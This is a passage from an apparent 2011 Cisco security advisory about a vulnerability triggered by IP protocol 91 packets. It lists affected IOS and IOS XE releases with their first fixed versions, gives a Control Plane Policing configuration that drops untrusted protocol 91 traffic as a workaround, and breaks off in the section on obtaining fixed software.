Cisco | | 12.2XNC | IOS-XE Software | IOS-XE Software | | | Availability | Availability | |------------+-----------------------+-----------------------| | | Please see Cisco | Please see Cisco | | 12.2XND | IOS-XE Software | IOS-XE Software | | | Availability | Availability | |------------+-----------------------+-----------------------| | | Please see Cisco | Please see Cisco | | 12.2XNE | IOS-XE Software | IOS-XE Software | | | Availability | Availability | |------------+-----------------------+-----------------------| | | Please see Cisco | Please see Cisco | | 12.2XNF | IOS-XE Software | IOS-XE Software | | | Availability | Availability | |------------+-----------------------+-----------------------| | | | Releases prior to | | | | 12.2(54)XO are | | 12.2XO | Not vulnerable | vulnerable; Releases | | | | 12.2(54)XO and later | | | | are not vulnerable. | |------------+-----------------------+-----------------------| | 12.2XQ | Not vulnerable | Not vulnerable | |------------+-----------------------+-----------------------| | 12.2XR | Not vulnerable | Not vulnerable | |------------+-----------------------+-----------------------| | 12.2XS | Not vulnerable | Not vulnerable | |------------+-----------------------+-----------------------| | 12.2XT | Not vulnerable | Not vulnerable | |------------+-----------------------+-----------------------| | 12.2XU | Not vulnerable | Not vulnerable | |------------+-----------------------+-----------------------| | 12.2XV | Not vulnerable | Not vulnerable | |------------+-----------------------+-----------------------| | 12.2XW | Not vulnerable | Not vulnerable | |------------+-----------------------+-----------------------| | | Releases prior to | | | | 12.2(4)YA8 are | | | | vulnerable; Releases | Vulnerable; first | | 12.2YA | 12.2(4)YA8 and later | fixed in Release 12.4 | | | are not vulnerable. | | | | First fixed in | | | | Release 12.4 | | |------------+-----------------------+-----------------------| | 12.2YB | Not vulnerable | Not vulnerable | |------------+-----------------------+-----------------------| | 12.2YC | Not vulnerable | Not vulnerable | |------------+-----------------------+-----------------------| | 12.2YD | Not vulnerable | Not vulnerable | |------------+-----------------------+-----------------------| | 12.2YE | Not vulnerable | Not vulnerable | |------------+-----------------------+-----------------------| | | Vulnerable; contact | Vulnerable; contact | | | your support | your support | | | organization per the | organization per the | | 12.2YF | instructions in the | instructions in the | | | Obtaining Fixed | Obtaining Fixed | | | Software section of | Software section of | | | this advisory. | this advisory. | |------------+-----------------------+-----------------------| | | | Vulnerable; contact | | | | your support | | | | organization per the | | 12.2YG | Not vulnerable | instructions in the | | | | Obtaining Fixed | | | | Software section of | | | | this advisory. | |------------+-----------------------+-----------------------| | | Vulnerable; contact | Vulnerable; contact | | | your support | your support | | | organization per the | organization per the | | 12.2YH | instructions in the | instructions in the | | | Obtaining Fixed | Obtaining Fixed | | | Software section of | Software section of | | | this advisory. | this advisory. | |------------+-----------------------+-----------------------| | | | Vulnerable; contact | | | Releases prior to | your support | | | 12.2(8)YJ1 are | organization per the | | 12.2YJ | vulnerable; Releases | instructions in the | | | 12.2(8)YJ1 and later | Obtaining Fixed | | | are not vulnerable. | Software section of | | | | this advisory. | |------------+-----------------------+-----------------------| | 12.2YK | Not vulnerable | Not vulnerable | |------------+-----------------------+-----------------------| | | Vulnerable; contact | Vulnerable; contact | | | your support | your support | | | organization per the | organization per the | | 12.2YL | instructions in the | instructions in the | | | Obtaining Fixed | Obtaining Fixed | | | Software section of | Software section of | | | this advisory. | this advisory. | |------------+-----------------------+-----------------------| | 12.2YM | Vulnerable; first | Vulnerable; first | | | fixed in Release 12.4 | fixed in Release 12.4 | |------------+-----------------------+-----------------------| | | Vulnerable; contact | Vulnerable; contact | | | your support | your support | | | organization per the | organization per the | | 12.2YN | instructions in the | instructions in the | | | Obtaining Fixed | Obtaining Fixed | | | Software section of | Software section of | | | this advisory. | this advisory. | |------------+-----------------------+-----------------------| | 12.2YO | Not vulnerable | Not vulnerable | |------------+-----------------------+-----------------------| | 12.2YP | Not vulnerable | Not vulnerable | |------------+-----------------------+-----------------------| | | | Vulnerable; contact | | | | your support | | | | organization per the | | 12.2YQ | Not vulnerable | instructions in the | | | | Obtaining Fixed | | | | Software section of | | | | this advisory. | |------------+-----------------------+-----------------------| | | | Vulnerable; contact | | | | your support | | | | organization per the | | 12.2YR | Not vulnerable | instructions in the | | | | Obtaining Fixed | | | | Software section of | | | | this advisory. | |------------+-----------------------+-----------------------| | | Vulnerable; contact | Vulnerable; contact | | | your support | your support | | | organization per the | organization per the | | 12.2YS | instructions in the | instructions in the | | | Obtaining Fixed | Obtaining Fixed | | | Software section of | Software section of | | | this advisory. | this advisory. | |------------+-----------------------+-----------------------| | | Vulnerable; contact | Vulnerable; contact | | | your support | your support | | | organization per the | organization per the | | 12.2YT | instructions in the | instructions in the | | | Obtaining Fixed | Obtaining Fixed | | | Software section of | Software section of | | | this advisory. | this advisory. | |------------+-----------------------+-----------------------| | | Vulnerable; contact | Vulnerable; contact | | | your support | your support | | | organization per the | organization per the | | 12.2YU | instructions in the | instructions in the | | | Obtaining Fixed | Obtaining Fixed | | | Software section of | Software section of | | | this advisory. | this advisory. | |------------+-----------------------+-----------------------| | | | Vulnerable; contact | | | Releases prior to | your support | | | 12.2(11)YV1 are | organization per the | | 12.2YV | vulnerable; Releases | instructions in the | | | 12.2(11)YV1 and later | Obtaining Fixed | | | are not vulnerable. | Software section of | | | | this advisory. | |------------+-----------------------+-----------------------| | | Vulnerable; contact | Vulnerable; contact | | | your support | your support | | | organization per the | organization per the | | 12.2YW | instructions in the | instructions in the | | | Obtaining Fixed | Obtaining Fixed | | | Software section of | Software section of | | | this advisory. | this advisory. | |------------+-----------------------+-----------------------| | | Vulnerable; contact | Vulnerable; contact | | | your support | your support | | | organization per the | organization per the | | 12.2YX | instructions in the | instructions in the | | | Obtaining Fixed | Obtaining Fixed | | | Software section of | Software section of | | | this advisory. | this advisory. | |------------+-----------------------+-----------------------| | | Vulnerable; contact | Vulnerable; contact | | | your support | your support | | | organization per the | organization per the | | 12.2YY | instructions in the | instructions in the | | | Obtaining Fixed | Obtaining Fixed | | | Software section of | Software section of | | | this advisory. | this advisory. | |------------+-----------------------+-----------------------| | | Vulnerable; contact | Vulnerable; contact | | | your support | your support | | | organization per the | organization per the | | 12.2YZ | instructions in the | instructions in the | | | Obtaining Fixed | Obtaining Fixed | | | Software section of | Software section of | | | this advisory. | this advisory. | |------------+-----------------------+-----------------------| | | Vulnerable; first | Vulnerable; first | | 12.2ZA | fixed in Release | fixed in Release | | | 12.2SXF | 12.2SXF | |------------+-----------------------+-----------------------| | | Vulnerable; contact | Vulnerable; contact | | | your support | your support | | | organization per the | organization per the | | 12.2ZB | instructions in the | instructions in the | | | Obtaining Fixed | Obtaining Fixed | | | Software section of | Software section of | | | this advisory. | this advisory. | |------------+-----------------------+-----------------------| | 12.2ZC | Not vulnerable | Not vulnerable | |------------+-----------------------+-----------------------| | 12.2ZD | Not vulnerable | Not vulnerable | |------------+-----------------------+-----------------------| | 12.2ZE | Vulnerable; first | Vulnerable; first | | | fixed in Release 12.4 | fixed in Release 12.4 | |------------+-----------------------+-----------------------| | 12.2ZF | Vulnerable; first | Vulnerable; first | | | fixed in Release 12.4 | fixed in Release 12.4 | |------------+-----------------------+-----------------------| | 12.2ZG | Not vulnerable | Not vulnerable | |------------+-----------------------+-----------------------| | | Releases prior to | | | | 12.2(13)ZH6 are | | | | vulnerable; Releases | Vulnerable; first | | 12.2ZH | 12.2(13)ZH6 and later | fixed in Release 12.4 | | | are not vulnerable. | | | | First fixed in | | | | Release 12.4 | | |------------+-----------------------+-----------------------| | 12.2ZJ | Not vulnerable | Not vulnerable | |------------+-----------------------+-----------------------| | | Vulnerable; contact | Vulnerable; contact | | | your support | your support | | | organization per the | organization per the | | 12.2ZL | instructions in the | instructions in the | | | Obtaining Fixed | Obtaining Fixed | | | Software section of | Software section of | | | this advisory. | this advisory. | |------------+-----------------------+-----------------------| | 12.2ZP | Not vulnerable | Not vulnerable | |------------+-----------------------+-----------------------| | | Vulnerable; first | Vulnerable; first | | 12.2ZU | fixed in Release | fixed in Release | | | 12.2SXH | 12.2SXH | |------------+-----------------------+-----------------------| | 12.2ZX | Not vulnerable | Not vulnerable | |------------+-----------------------+-----------------------| | | Vulnerable; contact | Vulnerable; contact | | | your support | your support | | | organization per the | organization per the | | 12.2ZY | instructions in the | instructions in the | | | Obtaining Fixed | Obtaining Fixed | | | Software section of | Software section of | | | this advisory. | this advisory. | |------------+-----------------------+-----------------------| | | Vulnerable; contact | Vulnerable; contact | | | your support | your support | | | organization per the | organization per the | | 12.2ZYA | instructions in the | instructions in the | | | Obtaining Fixed | Obtaining Fixed | | | Software section of | Software section of | | | this advisory. | this advisory. | |------------+-----------------------+-----------------------| | Affected | | First Fixed Release | | 12.3-Based | First Fixed Release | for All Advisories in | | Releases | | the September 2011 | | | | Bundled Publication | |------------+-----------------------+-----------------------| | 12.3 | Vulnerable; first | Vulnerable; first | | | fixed in Release 12.4 | fixed in Release 12.4 | |------------+-----------------------+-----------------------| | 12.3B | Vulnerable; first | Vulnerable; first | | | fixed in Release 12.4 | fixed in Release 12.4 | |------------+-----------------------+-----------------------| | | | Vulnerable; first | | 12.3BC | Not vulnerable | fixed in Release | | | | 12.2SCC | |------------+-----------------------+-----------------------| | 12.3BW | Vulnerable; first | Vulnerable; first | | | fixed in Release 12.4 | fixed in Release 12.4 | |------------+-----------------------+-----------------------| | 12.3JA | Not vulnerable | Not vulnerable | |------------+-----------------------+-----------------------| | 12.3JEA | Not vulnerable | Not vulnerable | |------------+-----------------------+-----------------------| | 12.3JEB | Not vulnerable | Not vulnerable | |------------+-----------------------+-----------------------| | 12.3JEC | Not vulnerable | Not vulnerable | |------------+-----------------------+-----------------------| | 12.3JED | Not vulnerable | Not vulnerable | |------------+-----------------------+-----------------------| | | Releases up to and | Releases up to and | | | including 12.3(2)JK3 | including 12.3(2)JK3 | | | are not vulnerable. | are not vulnerable. | | 12.3JK | Releases 12.3(8)JK1 | Releases 12.3(8)JK1 | | | and later are not | and later are not | | | vulnerable. First | vulnerable. First | | | fixed in Release 12.4 | fixed in Release 12.4 | |------------+-----------------------+-----------------------| | 12.3JL | Not vulnerable | Not vulnerable | |------------+-----------------------+-----------------------| | 12.3JX | Not vulnerable | Not vulnerable | |------------+-----------------------+-----------------------| | 12.3T | Vulnerable; first | Vulnerable; first | | | fixed in Release 12.4 | fixed in Release 12.4 | |------------+-----------------------+-----------------------| | | | Vulnerable; contact | | | Releases up to and | your support | | | including 12.3(4) | organization per the | | 12.3TPC | TPC11a are not | instructions in the | | | vulnerable. | Obtaining Fixed | | | | Software section of | | | | this advisory. | |------------+-----------------------+-----------------------| | 12.3VA | Not vulnerable | Not vulnerable | |------------+-----------------------+-----------------------| | | Releases prior to | | | | 12.3(2)XA7 are | | | | vulnerable; Releases | Vulnerable; first | | 12.3XA | 12.3(2)XA7 and later | fixed in Release 12.4 | | | are not vulnerable. | | | | First fixed in | | | | Release 12.4 | | |------------+-----------------------+-----------------------| | | Vulnerable; contact | Vulnerable; contact | | | your support | your support | | | organization per the | organization per the | | 12.3XB | instructions in the | instructions in the | | | Obtaining Fixed | Obtaining Fixed | | | Software section of | Software section of | | | this advisory. | this advisory. | |------------+-----------------------+-----------------------| | 12.3XC | Vulnerable; first | Vulnerable; first | | | fixed in Release 12.4 | fixed in Release 12.4 | |------------+-----------------------+-----------------------| | 12.3XD | Vulnerable; first | Vulnerable; first | | | fixed in Release 12.4 | fixed in Release 12.4 | |------------+-----------------------+-----------------------| | 12.3XE | Vulnerable; first | Vulnerable; first | | | fixed in Release 12.4 | fixed in Release 12.4 | |------------+-----------------------+-----------------------| | | Vulnerable; contact | Vulnerable; contact | | | your support | your support | | | organization per the | organization per the | | 12.3XF | instructions in the | instructions in the | | | Obtaining Fixed | Obtaining Fixed | | | Software section of | Software section of | | | this advisory. | this advisory. | |------------+-----------------------+-----------------------| | 12.3XG | Vulnerable; first | Vulnerable; first | | | fixed in Release 12.4 | fixed in Release 12.4 | |------------+-----------------------+-----------------------| | | Vulnerable; first | Vulnerable; first | | 12.3XI | fixed in Release | fixed in Release | | | 12.2SB | 12.2SB | |------------+-----------------------+-----------------------| | | Vulnerable; contact | Vulnerable; contact | | | your support | your support | | | organization per the | organization per the | | 12.3XJ | instructions in the | instructions in the | | | Obtaining Fixed | Obtaining Fixed | | | Software section of | Software section of | | | this advisory. | this advisory. | |------------+-----------------------+-----------------------| | 12.3XK | Vulnerable; first | Vulnerable; first | | | fixed in Release 12.4 | fixed in Release 12.4 | |------------+-----------------------+-----------------------| | | Vulnerable; first | Vulnerable; first | | 12.3XL | fixed in Release | fixed in Release | | | 12.4T | 12.4T | |------------+-----------------------+-----------------------| | 12.3XQ | Vulnerable; first | Vulnerable; first | | | fixed in Release 12.4 | fixed in Release 12.4 | |------------+-----------------------+-----------------------| | 12.3XR | Vulnerable; first | Vulnerable; first | | | fixed in Release 12.4 | fixed in Release 12.4 | |------------+-----------------------+-----------------------| | 12.3XS | Not vulnerable | Vulnerable; first | | | | fixed in Release 12.4 | |------------+-----------------------+-----------------------| | | Vulnerable; first | Vulnerable; first | | 12.3XU | fixed in Release | fixed in Release | | | 12.4T | 12.4T | |------------+-----------------------+-----------------------| | | Vulnerable; contact | Vulnerable; contact | | | your support | your support | | | organization per the | organization per the | | 12.3XW | instructions in the | instructions in the | | | Obtaining Fixed | Obtaining Fixed | | | Software section of | Software section of | | | this advisory. | this advisory. | |------------+-----------------------+-----------------------| | 12.3XX | Vulnerable; first | Vulnerable; first | | | fixed in Release 12.4 | fixed in Release 12.4 | |------------+-----------------------+-----------------------| | 12.3XY | Not vulnerable | Not vulnerable | |------------+-----------------------+-----------------------| | 12.3XZ | Vulnerable; first | Vulnerable; first | | | fixed in Release 12.4 | fixed in Release 12.4 | |------------+-----------------------+-----------------------| | 12.3YA | Not vulnerable | Vulnerable; first | | | | fixed in Release 12.4 | |------------+-----------------------+-----------------------| | 12.3YD | Not vulnerable | Not vulnerable | |------------+-----------------------+-----------------------| | 12.3YF | Not vulnerable | Not vulnerable | |------------+-----------------------+-----------------------| | 12.3YG | Not vulnerable | Not vulnerable | |------------+-----------------------+-----------------------| | 12.3YH | Not vulnerable | Not vulnerable | |------------+-----------------------+-----------------------| | 12.3YI | Not vulnerable | Not vulnerable | |------------+-----------------------+-----------------------| | | Vulnerable; first | Vulnerable; first | | 12.3YJ | fixed in Release | fixed in Release | | | 12.4T | 12.4T | |------------+-----------------------+-----------------------| | 12.3YK | Not vulnerable | Not vulnerable | |------------+-----------------------+-----------------------| | 12.3YM | Not vulnerable | Not vulnerable | |------------+-----------------------+-----------------------| | | Vulnerable; first | Vulnerable; first | | 12.3YQ | fixed in Release | fixed in Release | | | 12.4T | 12.4T | |------------+-----------------------+-----------------------| | | Vulnerable; first | | | | fixed in Release | | | | 12.4T | Vulnerable; first | | 12.3YS | | fixed in Release | | | Releases up to and | 12.4T | | | including 12.3(11)YS1 | | | | are not vulnerable. | | |------------+-----------------------+-----------------------| | | Vulnerable; first | Vulnerable; first | | 12.3YT | fixed in Release | fixed in Release | | | 12.4T | 12.4T | |------------+-----------------------+-----------------------| | | Vulnerable; first | Vulnerable; first | | 12.3YU | fixed in Release | fixed in Release | | | 12.4XB | 12.4XB | |------------+-----------------------+-----------------------| | | Vulnerable; migrate | Vulnerable; first | | 12.3YX | to any release in | fixed in Release | | | 12.4XR | 12.4T | |------------+-----------------------+-----------------------| | | Vulnerable; contact | Vulnerable; contact | | | your support | your support | | | organization per the | organization per the | | 12.3YZ | instructions in the | instructions in the | | | Obtaining Fixed | Obtaining Fixed | | | Software section of | Software section of | | | this advisory. | this advisory. | |------------+-----------------------+-----------------------| | | Vulnerable; first | Vulnerable; first | | 12.3ZA | fixed in Release | fixed in Release | | | 12.4T | 12.4T | |------------+-----------------------+-----------------------| | Affected | | First Fixed Release | | 12.4-Based | First Fixed Release | for All Advisories in | | Releases | | the September 2011 | | | | Bundled Publication | |------------+-----------------------+-----------------------| | 12.4 | 12.4(25e) | 12.4(25f) | |------------+-----------------------+-----------------------| | 12.4GC | 12.4(24)GC4 | 12.4(24)GC4 | |------------+-----------------------+-----------------------| | 12.4JA | Not vulnerable | Not vulnerable | |------------+-----------------------+-----------------------| | 12.4JAX | Not vulnerable | Not vulnerable | |------------+-----------------------+-----------------------| | 12.4JDA | Not vulnerable | Not vulnerable | |------------+-----------------------+-----------------------| | 12.4JDC | Not vulnerable | Not vulnerable | |------------+-----------------------+-----------------------| | 12.4JHA | Not vulnerable | Not vulnerable | |------------+-----------------------+-----------------------| | 12.4JHB | Not vulnerable | Not vulnerable | |------------+-----------------------+-----------------------| | 12.4JHC | Not vulnerable | Not vulnerable | |------------+-----------------------+-----------------------| | 12.4JK | Not vulnerable | Not vulnerable | |------------+-----------------------+-----------------------| | 12.4JL | Not vulnerable | Not vulnerable | |------------+-----------------------+-----------------------| | 12.4JMA | Not vulnerable | Not vulnerable | |------------+-----------------------+-----------------------| | 12.4JMB | Not vulnerable | Not vulnerable | |------------+-----------------------+-----------------------| | | | Vulnerable; migrate | | | | to any release in | | | | 12.4JA | | 12.4JX | Not vulnerable | | | | | Releases up to and | | | | including 12.4(21a)JX | | | | are not vulnerable. | |------------+-----------------------+-----------------------| | 12.4JY | Not vulnerable | Not vulnerable | |------------+-----------------------+-----------------------| | 12.4MD | Not vulnerable | 12.4(24)MD6 on | | | | 28-Oct-2011 | |------------+-----------------------+-----------------------| | 12.4MDA | Not vulnerable | 12.4(24)MDA7 | |------------+-----------------------+-----------------------| | 12.4MDB | Not vulnerable | 12.4(24)MDB3 | |------------+-----------------------+-----------------------| | | | Vulnerable; contact | | | | your support | | | | organization per the | | 12.4MR | Not vulnerable | instructions in the | | | | Obtaining Fixed | | | | Software section of | | | | this advisory. | |------------+-----------------------+-----------------------| | | | Vulnerable; contact | | | | your support | | | | organization per the | | 12.4MRA | Not vulnerable | instructions in the | | | | Obtaining Fixed | | | | Software section of | | | | this advisory. | |------------+-----------------------+-----------------------| | | | Vulnerable; first | | 12.4MRB | Not vulnerable | fixed in Release | | | | 12.4T | |------------+-----------------------+-----------------------| | 12.4SW | Not vulnerable | Not vulnerable | |------------+-----------------------+-----------------------| | | 12.4(15)T15 | 12.4(15)T16 | | 12.4T | | | | | 12.4(24)T5 | 12.4(24)T6 | |------------+-----------------------+-----------------------| | | Vulnerable; first | Vulnerable; first | | 12.4XA | fixed in Release | fixed in Release | | | 12.4T | 12.4T | |------------+-----------------------+-----------------------| | 12.4XB | 12.4(2)XB12 | 12.4(2)XB12 | |------------+-----------------------+-----------------------| | 12.4XC | Not vulnerable | Not vulnerable | |------------+-----------------------+-----------------------| | | Vulnerable; first | Vulnerable; first | | 12.4XD | fixed in Release | fixed in Release | | | 12.4T | 12.4T | |------------+-----------------------+-----------------------| | 12.4XE | Not vulnerable | Not vulnerable | |------------+-----------------------+-----------------------| | | | Vulnerable; first | | 12.4XF | Not vulnerable | fixed in Release | | | | 12.4T | |------------+-----------------------+-----------------------| | | Vulnerable; first | Vulnerable; first | | 12.4XG | fixed in Release | fixed in Release | | | 12.4T | 12.4T | |------------+-----------------------+-----------------------| | 12.4XJ | Not vulnerable | Not vulnerable | |------------+-----------------------+-----------------------| | 12.4XK | Not vulnerable | Not vulnerable | |------------+-----------------------+-----------------------| | | Vulnerable; contact | Vulnerable; contact | | | your support | your support | | | organization per the | organization per the | | 12.4XL | instructions in the | instructions in the | | | Obtaining Fixed | Obtaining Fixed | | | Software section of | Software section of | | | this advisory. | this advisory. | |------------+-----------------------+-----------------------| | | Releases up to and | | | | including 12.4(15)XM | | | | are not vulnerable. | | | | | Vulnerable; first | | 12.4XM | Releases 12.4(15)XM3 | fixed in Release | | | and later are not | 12.4T | | | vulnerable. First | | | | fixed in Release | | | | 12.4T | | |------------+-----------------------+-----------------------| | | Vulnerable; contact | Vulnerable; contact | | | your support | your support | | | organization per the | organization per the | | 12.4XN | instructions in the | instructions in the | | | Obtaining Fixed | Obtaining Fixed | | | Software section of | Software section of | | | this advisory. | this advisory. | |------------+-----------------------+-----------------------| | | Vulnerable; contact | Vulnerable; contact | | | your support | your support | | | organization per the | organization per the | | 12.4XP | instructions in the | instructions in the | | | Obtaining Fixed | Obtaining Fixed | | | Software section of | Software section of | | | this advisory. | this advisory. | |------------+-----------------------+-----------------------| | | | Vulnerable; first | | 12.4XQ | Not vulnerable | fixed in Release | | | | 12.4T | |------------+-----------------------+-----------------------| | | | Vulnerable; first | | 12.4XR | Not vulnerable | fixed in Release | | | | 12.4T | |------------+-----------------------+-----------------------| | | Vulnerable; first | Vulnerable; first | | 12.4XT | fixed in Release | fixed in Release | | | 12.4T | 12.4T | |------------+-----------------------+-----------------------| | 12.4XV | Not vulnerable | Not vulnerable | |------------+-----------------------+-----------------------| | | Vulnerable; first | Vulnerable; first | | 12.4XW | fixed in Release | fixed in Release | | | 12.4T | 12.4T | |------------+-----------------------+-----------------------| | | Vulnerable; first | Vulnerable; first | | 12.4XY | fixed in Release | fixed in Release | | | 12.4T | 12.4T | |------------+-----------------------+-----------------------| | | Vulnerable; first | Vulnerable; first | | 12.4XZ | fixed in Release | fixed in Release | | | 12.4T | 12.4T | |------------+-----------------------+-----------------------| | | Vulnerable; first | Vulnerable; first | | 12.4YA | fixed in Release | fixed in Release | | | 12.4T | 12.4T | |------------+-----------------------+-----------------------| | | Vulnerable; contact | Vulnerable; contact | | | your support | your support | | | organization per the | organization per the | | 12.4YB | instructions in the | instructions in the | | | Obtaining Fixed | Obtaining Fixed | | | Software section of | Software section of | | | this advisory. | this advisory. | |------------+-----------------------+-----------------------| | | | Vulnerable; contact | | | | your support | | | | organization per the | | 12.4YD | Not vulnerable | instructions in the | | | | Obtaining Fixed | | | | Software section of | | | | this advisory. | |------------+-----------------------+-----------------------| | | | Vulnerable; fixed in | | | | 12.4(22)YE6 on | | 12.4YE | Not vulnerable | 30-Sept-2011; 12.4 | | | | (24)YE7 available on | | | | 17-Oct-2011 | |------------+-----------------------+-----------------------| | | | Vulnerable; contact | | | | your support | | | | organization per the | | 12.4YG | Not vulnerable | instructions in the | | | | Obtaining Fixed | | | | Software section of | | | | this advisory. | |------------+-----------------------+-----------------------| | Affected | | First Fixed Release | | 15.0-Based | First Fixed Release | for All Advisories in | | Releases | | the September 2011 | | | | Bundled Publication | |------------+-----------------------+-----------------------| | | 15.0(1)M4 | | | 15.0M | | 15.0(1)M7 | | | 15.0(1)M5a | | |------------+-----------------------+-----------------------| | | | Vulnerable; contact | | | | your support | | | | organization per the | | 15.0MR | Not vulnerable | instructions in the | | | | Obtaining Fixed | | | | Software section of | | | | this advisory. | |------------+-----------------------+-----------------------| | | | Vulnerable; contact | | | | your support | | | | organization per the | | 15.0MRA | Not vulnerable | instructions in the | | | | Obtaining Fixed | | | | Software section of | | | | this advisory. | |------------+-----------------------+-----------------------| | | 15.0(1)S3a | | | | | 15.0(1)S4 | | | 15.0(1)S4 | | | 15.0S | | Cisco IOS XE devices: | | | Cisco IOS XE devices: | Please see Cisco | | | Please see Cisco | IOS-XE Software | | | IOS-XE Software | Availability | | | Availability | | |------------+-----------------------+-----------------------| | | | Vulnerable; contact | | | | your support | | | | organization per the | | 15.0SA | Not vulnerable | instructions in the | | | | Obtaining Fixed | | | | Software section of | | | | this advisory. | |------------+-----------------------+-----------------------| | 15.0SE | Not vulnerable | Not vulnerable | |------------+-----------------------+-----------------------| | | Cisco IOS XE devices: | Cisco IOS XE devices: | | 15.0SG | Please see Cisco | Please see Cisco | | | IOS-XE Software | IOS-XE Software | | | Availability | Availability | |------------+-----------------------+-----------------------| | | Vulnerable; first | Vulnerable; first | | 15.0XA | fixed in Release | fixed in Release | | | 15.1T | 15.1T | |------------+-----------------------+-----------------------| | | Cisco IOS XE devices: | Cisco IOS XE devices: | | 15.0XO | Please see Cisco | Please see Cisco | | | IOS-XE Software | IOS-XE Software | | | Availability | Availability | |------------+-----------------------+-----------------------| | Affected | | First Fixed Release | | 15.1-Based | First Fixed Release | for All Advisories in | | Releases | | the September 2011 | | | | Bundled Publication | |------------+-----------------------+-----------------------| | | | Vulnerable; contact | | | | your support | | | | organization per the | | 15.1EY | Not vulnerable | instructions in the | | | | Obtaining Fixed | | | | Software section of | | | | this advisory. | |------------+-----------------------+-----------------------| | | | Vulnerable; first | | 15.1GC | Not vulnerable | fixed in Release | | | | 15.1T | |------------+-----------------------+-----------------------| | 15.1M | Not vulnerable | 15.1(4)M2; Available | | | | on 30-SEP-11 | |------------+-----------------------+-----------------------| | | | Vulnerable; contact | | | | your support | | | | organization per the | | 15.1MR | Not vulnerable | instructions in the | | | | Obtaining Fixed | | | | Software section of | | | | this advisory. | |------------+-----------------------+-----------------------| | | 15.1(1)S1 | 15.1(2)S2 | | | | | | | 15.1(2)S | 15.1(3)S | | 15.1S | | | | | Cisco IOS XE devices: | Cisco IOS XE devices: | | | Please see Cisco | Please see Cisco | | | IOS-XE Software | IOS-XE Software | | | Availability | Availability | |------------+-----------------------+-----------------------| | | 15.1(1)T3 | | | | | | | | 15.1(2)T2 | 15.1(2)T4 15.1(1)T4 | | 15.1T | | on 8-Dec-2011 | | | 15.1(2)T2a | | | | | | | | 15.1(3)T | | |------------+-----------------------+-----------------------| | | Vulnerable; first | Vulnerable; first | | 15.1XB | fixed in Release | fixed in Release | | | 15.1T | 15.1T | |------------+-----------------------+-----------------------| | Affected | | First Fixed Release | | 15.2-Based | First Fixed Release | for All Advisories in | | Releases | | the September 2011 | | | | Bundled Publication | |------------------------------------------------------------| | There are no affected 15.2-based releases | +------------------------------------------------------------+ Cisco IOS XE Software +-------------------- Cisco IOS XE Software is affected by the vulnerability disclosed in this document. +------------------------------------------------------------+ | Cisco | First | First Fixed Release for All | | IOS XE | Fixed | Advisories in the September 2011 | | Release | Release | Bundled Publication | |----------+------------+------------------------------------| | 2.1.x | Not | Vulnerable; migrate to 3.3.2S or | | | vulnerable | later | |----------+------------+------------------------------------| | 2.2.x | Not | Vulnerable; migrate to 3.3.2S or | | | vulnerable | later | |----------+------------+------------------------------------| | 2.3.x | Not | Vulnerable; migrate to 3.3.2S or | | | vulnerable | later | |----------+------------+------------------------------------| | 2.4.x | Not | Vulnerable; migrate to 3.3.2S or | | | vulnerable | later | |----------+------------+------------------------------------| | 2.5.x | Not | Vulnerable; migrate to 3.3.2S or | | | vulnerable | later | |----------+------------+------------------------------------| | 2.6.x | Not | Vulnerable; migrate to 3.3.2S or | | | vulnerable | later | |----------+------------+------------------------------------| | 3.1.xS | 3.1.3S | Vulnerable; migrate to 3.3.2S or | | | | later | |----------+------------+------------------------------------| | 3.1.xSG | Not | Vulnerable; migrate to 3.2.0SG or | | | vulnerable | later | |----------+------------+------------------------------------| | 3.2.xS | 3.2.1S | Vulnerable; migrate to 3.3.2S or | | | | later | |----------+------------+------------------------------------| | 3.2.xSG | Not | Not vulnerable | | | vulnerable | | |----------+------------+------------------------------------| | 3.3.xS | Not | 3.3.2S | | | vulnerable | | |----------+------------+------------------------------------| | 3.4.xS | Not | Not vulnerable | | | vulnerable | | +------------------------------------------------------------+ For mapping of Cisco IOS XE to Cisco IOS releases, please refer to the Cisco IOS XE 2 Release Notes, Cisco IOS XE 3S Release Notes, and Cisco IOS XE 3SG Release Notes. Cisco IOS XR Software +-------------------- Cisco IOS XR Software is not affected by any of the vulnerabilities in the September 2011 bundled publication. Workarounds =========== This vulnerability can be mitigated by using Control Plane Policing (CoPP) to only allow IP Protocol 91 packets sent by valid peers. Mitigation techniques that can be deployed on Cisco devices within the network are available in the Cisco Applied Mitigation Bulletin companion document for this advisory: http://www.cisco.com/warp/public/707/cisco-amb-20110928-dlsw.shtml Control Plane Policing +--------------------- Control Plane Policing (CoPP) can be used to block untrusted IP Protocol 91 packets sent to the affected device. CoPP may be configured on a device to protect the management and control planes to minimize the risk and effectiveness of direct infrastructure attacks by explicitly permitting, and if configured, rate-limiting only authorized traffic that is sent to infrastructure devices in accordance with existing security policies and configurations. The following example, which uses 192.168.100.1 to represent a trusted host, can be adapted to your network. !-- Deny FST traffic on IP protocol 91 from trusted !-- hosts to all IP addresses configured on all interfaces of the affected device !-- so that it will be allowed by the CoPP feature access-list 111 deny 91 host 192.168.100.1 any !-- Permit all other FST traffic on IP protocol 91 !-- sent to all IP addresses configured on all interfaces of the affected !-- device so that it will be policed and dropped by the CoPP feature access-list 111 permit 91 any any !-- Permit (Police or Drop)/Deny (Allow) all other Layer3 !-- and Layer4 traffic in accordance with existing security !-- policies and configurations for traffic that is authorized !-- to be sent to infrastructure devices !-- Create a Class-Map for traffic to be policed by !-- the CoPP feature class-map match-all drop-fst-91-class match access-group 111 !-- Create a Policy-Map that will be applied to the !-- Control-Plane of the device. policy-map input-CoPP-policy class drop-fst-91-class drop !-- Apply the Policy-Map to the Control-Plane of the !-- device control-plane service-policy input input-CoPP-policy In the above CoPP example, the access control list entries (ACEs) that match the potential exploit packets with the "permit" action result in these packets being discarded by the policy map "drop" function, while packets that match the deny action (not shown) are not affected by the policy-map drop function. Note that in the 12.2S and 12.0S Cisco IOS trains the policy-map syntax is different, as shown in the following example: policy-map input-CoPP-policy class drop-fst-91-class police 32000 1500 1500 conform-action drop exceed-action drop Additional information on the CoPP feature is available at: Control Plane Policing Implementation Best Practices. Obtaining Fixed Software ======================== Cisco has released free software updates that address these vulnerabilities. Prior to deploying software, customers should consult their maintenance provider or check the software for feature set compatibility and known issues specific to their environment. Customers may only install and expect support for the feature sets they have purchased. By installing, downloading, accessing or otherwise using such software upgrades, customers agree to be bound by the terms of Cisco's software license terms found at http://www.cisco.com/en/US/docs/general/warranty/English/EU1KEN_.html, or as otherwise set forth at Cisco.com Downloads at http://www.cisco.com/public/sw-center/sw-usingswc.shtml. Do not contact psirt@cisco.com or security-alert@cisco.com for software upgrades. Customers with Service Contracts +------------------------------- Customers with contracts should obtain upgraded software through their regular update channels. For most customers, this means that upgrades should be obtained through the Software Center on Cisco's worldwide website at http://www.cisco.com. Customers using Third Party Support 